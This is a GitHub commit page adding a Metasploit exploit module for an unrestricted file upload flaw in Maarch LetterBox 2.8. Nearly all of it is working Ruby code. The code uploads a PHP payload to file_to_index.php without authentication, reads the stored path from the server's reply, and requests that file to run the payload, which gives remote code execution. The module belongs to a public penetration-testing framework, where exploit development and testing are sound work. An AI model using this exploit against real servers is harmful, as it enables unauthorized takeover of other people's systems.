Skip to content

Commit 38ad960

Browse files
rastatingjvazquez-r7
authored andcommitted
Add Maarch LetterBox file upload module
1 parent 309159d commit 38ad960

File tree

1 file changed

+95
-0
lines changed

1 file changed

+95
-0
lines changed
Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
##
2+
# This module requires Metasploit: http://www.metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'uri'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::FileDropper
14+
15+
def initialize(info = {})
16+
super(update_info(
17+
info,
18+
'Name' => 'Maarch LetterBox 2.8 Unrestricted File Upload',
19+
'Description' => %q{Maarch LetterBox 2.8 contains a flaw that allows
20+
unauthenticated users to upload files of any type due to a
21+
lack of session and file validation in the file_to_index.php
22+
script and subsequently execute PHP scripts in the context of
23+
the web server.},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'Rob Carr <rob[at]rastating.com>'
28+
],
29+
'DisclosureDate' => 'Feb 11 2015',
30+
'Platform' => 'php',
31+
'Arch' => ARCH_PHP,
32+
'Targets' => [['Maarch LetterBox', {}]],
33+
'DefaultTarget' => 0
34+
))
35+
36+
register_options(
37+
[
38+
OptString.new('TARGETURI', [true, 'The base path to Maarch LetterBox', '/'])
39+
], self.class)
40+
end
41+
42+
def letterbox_login_url
43+
normalize_uri(target_uri.path, 'login.php')
44+
end
45+
46+
def letterbox_upload_url
47+
normalize_uri(target_uri.path, 'file_to_index.php')
48+
end
49+
50+
def check
51+
res = send_request_cgi('method' => 'GET', 'uri' => letterbox_login_url)
52+
if res.nil? || res.code != 200
53+
return Msf::Exploit::CheckCode::Unknown
54+
else
55+
if res.body.include? 'alt="Maarch Maerys Archive v2.1 logo"'
56+
return Msf::Exploit::CheckCode::Appears
57+
else
58+
return Msf::Exploit::CheckCode::Safe
59+
end
60+
end
61+
end
62+
63+
def generate_mime_message(payload, name)
64+
data = Rex::MIME::Message.new
65+
data.add_part(payload.encoded, 'text/plain', 'binary', "form-data; name=\"file\"; filename=\"#{name}\"")
66+
data
67+
end
68+
69+
def exploit
70+
print_status("#{peer} - Preparing payload...")
71+
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
72+
data = generate_mime_message(payload, payload_name)
73+
74+
print_status("#{peer} - Uploading payload...")
75+
res = send_request_cgi(
76+
'method' => 'POST',
77+
'uri' => letterbox_upload_url,
78+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
79+
'data' => data.to_s
80+
)
81+
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
82+
fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
83+
84+
print_status("#{peer} - Parsing server response...")
85+
captures = res.body.match(/\[local_path\] => (.*\.php)/i).captures
86+
fail_with(Failure::UnexpectedReply, 'Unable to parse the server response') if captures.nil? || captures[0].nil?
87+
payload_url = normalize_uri(target_uri.path, captures[0])
88+
print_good("#{peer} - Parsed response")
89+
90+
print_status("#{peer} - Executing the payload at #{payload_url}")
91+
register_files_for_cleanup(File.basename(URI.parse(payload_url).path))
92+
send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
93+
print_good("#{peer} - Executed payload")
94+
end
95+
end

0 commit comments

Comments
 (0)